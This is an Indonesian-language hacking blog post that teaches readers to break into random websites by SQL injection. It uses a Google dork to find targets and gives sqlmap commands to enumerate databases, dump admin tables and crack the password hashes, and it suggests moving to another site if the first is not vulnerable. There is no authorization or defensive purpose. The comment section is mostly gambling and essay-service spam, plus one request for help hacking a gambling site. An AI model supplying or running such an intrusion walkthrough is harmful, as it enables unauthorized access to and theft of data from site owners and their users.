Tuesday 5 January 2016


Assalamualaikum Wr Wb

Kembali Lagi Di HardGhost Security,Oke Admin Kali Ini Akan Share Tentang Hacking Web Server.

Metode Hacking Nya Adalah Sql Injection,Dan Tahukah Sobat? 70% Situs Di Dunia Di Retas Dengan
Metode Sql Injection.
Sehingga Metode Ini Sangat Banyak Di Pakai Oleh Para Hacker.
Cara Kerja Sql Injection Ini Memanfaat kan kesalahan syntax di Database Server tsb.
Dengan Menginput query Untuk Menampilkan Isi Dari Database Target tsb.

Oke Lanjut ke Langkah Nya:

Dork:
inurl : product.php?id=
atau dork bisa di kembangkan lagi

1.Buka Terminal Dan Ketikan Perintah:
 sqlmap -u urltarget.com/product.php?id=77 --dbs

2.Jika Ada Pesan Tekan Y saja.

3.tunggu sampai selesai,Jika muncul Info Dengan Tulisan Berwarna Hijau Terang,Kemungkinan Berhasil
menembus Database Tsb,Sebalik Nya jika muncul Banyak Pesan Berwarna Merah/Kuning Kemungkinan Gagal.

4.Nah Jika Ada Pesan GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Pilih N saja untuk mempercepat.

5.Tunggu Lagi Karna Sedang Proses Fetching Db,Jika Sudah Selesai Maka Database Telah di Tembus :D

6.Ketik Di Terminal.
sqlmap -u target/php.?id=4 -d nama database --tables

7.Tunggu Sebentar Dan Violaa Tabel Di Temukan :D

8.Cari Tabel berhubungan dengan admin karna situs yang saya gunakan tidak ada tabel admin jadi maaf tidak ada foto untuk seterus nya ,, ketik:
 sqlmap -u target.com/php.id?=4 -d nama database -t tabel --columns

9.Jika Selesai Mencari Kolom Nya lanjut dengan:
sqlmap -u target/php.?id=4 -d nama database -t admin --dump

10.dan informasi admin telah di temukan :D Jika Kolom Password nya Isi nya password aneh misal
5cd66cb6efx6g6nd6 atau gimana masuk ke hashkiller.co.uk untuk melihat password asli nya.

11.Jika sudah selanjutnya cari admin login nya (y)

Oke Sudah Bisa kan? Jika Situs Tidak Vuln Tinggal Cari lagi menggunakan dork tadi.
atau lihat video saya di sini:

Ya Hanya Itu Saja Yang Bisa Saya Berikan Semoga Bermanfaat :)

Offensive Say "Try Harder".

Wassalamualaikum Wr Wb

Author: Hardian Alkori

32 comments:

  1. I wish more authors of this type of content would take the time you did to research and write so well. I am very impressed with your vision and insight. togel

    ReplyDelete
  2. I have seen some great stuff here. Worth bookmarking for revisiting. I surprise how much effort you put to create such a great informative website. Your work is truly appreciated around the clock and the globe. situs poker terpercaya

    ReplyDelete
  3. Really I enjoy your site with effective and useful information. It is included very nice post with a lot of our resources.thanks for share. i enjoy this post.emasbola.com

    ReplyDelete
  4. I wanted to thank you for this excellent read!! I definitely loved every little bit of it. I have you bookmarked your site to check out the new stuff you post. Fafa855

    ReplyDelete
  5. The post is written in very a good manner and it contains many useful information for me. ไพ่เสือมังกร

    ReplyDelete
  6. thanks for this usefull article, waiting for this article like this again. Agen Bandar QQ Online

    ReplyDelete
  7. Leadership Is More Who You Are Than What You Do. Pkv Games Online Terpercaya

    ReplyDelete
  8. Superbly written article, if only all bloggers offered the same content as you, the internet would be a far better place.. ufabet

    ReplyDelete
  9. Many things can bring you down, but the only one thing that can really bring you down is your own attitude. linkqqonline.com

    ReplyDelete
  10. Tight deadlines? Difficult assignments? Need urgent help with an assignment? or Got cursed with your essays? Let our professional writers lookout of it! Place a secure order and luxuriate in high-quality content at the simplest price. Satisfaction guaranteed!

    Custom Essay Writing Service
    essay writing service
    research paper writing services
    research paper writing service
    Personal Statement Writing
    Personal Statement Writing Service
    Research Proposal Writing Services
    dissertation writing services
    Term Paper Writing Service
    Term Paper Writing

    ReplyDelete
  11. Wow, this is fascinating reading. I am glad I found this and got to read it. Great job on this content. I liked it a lot. Thanks for the great and unique info. daftar situs slot terbaik

    ReplyDelete
  12. We are really grateful for your blog post. You will find a lot of approaches after visiting your post. I was exactly searching for. Thanks for such post and please keep it up. Great work. Link alternatif

    ReplyDelete
  13. I found your this post while searching for some related information on blog search...Its a good post..keep posting and update the information. bk8 link alternatif

    ReplyDelete
  14. I admit, I have not been on this web page in a long time... however it was another joy to see It is such an important topic and ignored by so many, even professionals. I thank you to help making people more aware of possible issues. maxbet

    ReplyDelete
  15. You delivered such an impressive piece to read, giving every subject enlightenment for us to gain information. Thanks for sharing such information with us due to which my several concepts have been cleared. joker

    ReplyDelete
  16. Thanks for sharing nice information with us. i like your post and all you share with us is uptodate and quite informative, i would like to bookmark the page so i can come here again to read you, as you have done a wonderful job. 토토

    ReplyDelete

  17. 성인용품점 선택 까다로우시죠? 그렇다면 더오르샵에 방문해보세요. 국내에서 가장 인기가 많은 다양한 성인용품을 만나보실 수 있습니다. 여성대표가 운영하기 때문에 더욱 깐깐하게 검증하여 텐가,오나홀,우머나이저 등을 추천해드리고 있습니다 성인용품.

    ReplyDelete
  18. I'am glad to read the whole content of this blog and am very excited,Thank you for sharing good topic.
    SA GAMING

    ReplyDelete
  19. I recently found many useful information in your website especially this blog page. Among the lots of comments on your articles. Thanks for sharing. https://korea-onlinecasino.com

    ReplyDelete
  20. Hello I am so delighted I located your blog, That's a cool article. Thanks for the analysis presented here. I am still illiterate on this subject. So this post has been very helpful for me personally. I think a few things I learned from your post will give me the support I personally need. thank you! LIVE카지노
    This is my website and it has been very helpful.

    ReplyDelete
  21. I read that Post and got it fine and informative. Please share more like that먹튀

    ReplyDelete
  22. Positive site, where did u come up with the information on this posting?I have read a few of the articles on your website now, and I really like your style. Thanks a million and please keep up the effective work.메이저공원

    ReplyDelete
  23. Ada kontak yang bisa dihubungi ga bang? niatan saya mau jebol situs judi online 🙏

    ReplyDelete
  24. Great, thank you so much for sharing such an amazing blog with us. Visit OGEN Infosystem for creative Website Designing, SEO Services and Digital Marketing Company in Delhi.
    Digital Marketing Company in Delhi

    ReplyDelete
  25. Really I enjoy your site with effective and useful information. It is included very nice post with a lot of our resources.thanks for share. i enjoy this post. joker

    ReplyDelete
  26. ทดลองเล่น Frozen Carnival เครดิตฟรี 50 ยืนยันเบอร์ รับเครดิต เลย ที่เกมสล็อต ออนไลน์ เว็บตรง แตกง่าย รวยเร็ว ติดตาม รีวิวเกม register/a> พร้อมให้บริการคุณแล้วคะ

    ReplyDelete
  27. ทดลองเล่น Frozen Carnival เครดิตฟรี 50 ยืนยันเบอร์ รับเครดิต เลย ที่เกมสล็อต ออนไลน์ แตกง่าย รวยได้ โดยไม่ต้องมีสูตร จากค่าย register/a> สมัครสมาชิก เพื่อรับสิทธิพิเศษมากมาย พร้อมให้บริการคุณแล้ววันนี้

    ReplyDelete
  28. It is especially confusing, vindicating gander at the tips during this spot of home. Slot gacor

    ReplyDelete

About Me

My Photo
Bekasi, Jawa Barat, Indonesia
HardGhost Security Blog Yang Membahas Tentang Programming,Networking Dan Securitty.
HardGhost Security 2016. Powered by Blogger.

Quote

Think Big Thoughts,But Relish Small Pleasure

Theme Support

BTricks

Video Pentesting

Popular Posts

Our Facebook Page